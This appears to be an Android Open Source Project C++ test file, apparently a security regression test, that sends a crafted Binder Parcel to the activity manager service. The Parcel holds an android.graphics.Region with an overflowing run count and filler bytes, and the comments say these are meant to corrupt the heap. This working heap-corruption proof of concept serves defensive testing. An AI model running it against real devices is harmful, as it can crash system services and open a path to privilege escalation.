| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <sys/stat.h> |
| #include <sys/types.h> |
| |
| #include <binder/IServiceManager.h> |
| #include <binder/Parcel.h> |
| |
| using namespace android; |
| typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE; |
| |
| static void writeParcelableHead(Parcel *pData, const char *class_name) { |
| // write key |
| static int count = 1; |
| const int VAL_PARCELABLE = 4; |
| char buffer[16] = {0}; |
| snprintf(buffer, 16, "%d", count); |
| |
| pData->writeString16(String16((const char *)buffer)); |
| pData->writeInt32(VAL_PARCELABLE); |
| pData->writeString16(String16(class_name)); |
| } |
| |
| void writeRegion(Parcel *pData) { |
| pData->writeInt32(100); // length of region; |
| pData->writeInt32( |
| 0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc |
| pData->writeInt32(0xf); // fBounds |
| pData->writeInt32(0xf); // YSpanCount |
| pData->writeInt32(0xf); // IntervalCount |
| |
| char buffer[100]; |
| memset(buffer, 0xcc, |
| sizeof(buffer)); // this buffer will be used to corrrupt the heap |
| pData->write(buffer, sizeof(buffer)); |
| } |
| |
| static void writeBundle(Parcel *pData, int type) { |
| size_t lengthPos = pData->dataPosition(); |
| pData->writeInt32(0xfffff); |
| const int BUNDLE_MAGIC = 0x4C444E42; |
| pData->writeInt32(BUNDLE_MAGIC); |
| size_t startPos = pData->dataPosition(); |
| |
| if (type == HEAPCORRUPT) { |
| pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle |
| writeParcelableHead(pData, "android.graphics.Region"); |
| writeRegion(pData); |
| } else { // other than HEAPCORRUPT |
| exit(0); |
| } |
| |
| size_t endPos = pData->dataPosition(); |
| // Backpatch length |
| pData->setDataPosition(lengthPos); |
| int length = endPos - startPos; |
| pData->writeInt32(length); |
| pData->setDataPosition(endPos); |
| } |
| |
| static void transact(sp<IBinder> &service, TRANTYPE type) { |
| const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175; |
| Parcel data, reply; |
| |
| data.writeInterfaceToken(String16("android.app.IActivityManager")); |
| data.writeStrongBinder(service); |
| data.writeInt32(333); |
| writeBundle(&data, type); |
| service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply); |
| } |
| |
| int main(__attribute__((unused)) int argc, |
| __attribute__((unused)) char *const argv[]) { |
| sp<IServiceManager> sm = defaultServiceManager(); |
| sp<IBinder> service = sm->checkService(String16("activity")); |
| if (service != NULL) { |
| printf("heap corruption\n"); |
| transact(service, HEAPCORRUPT); |
| } else { |
| printf("get activitymanger failed\n"); |
| } |
| return 0; |
| } |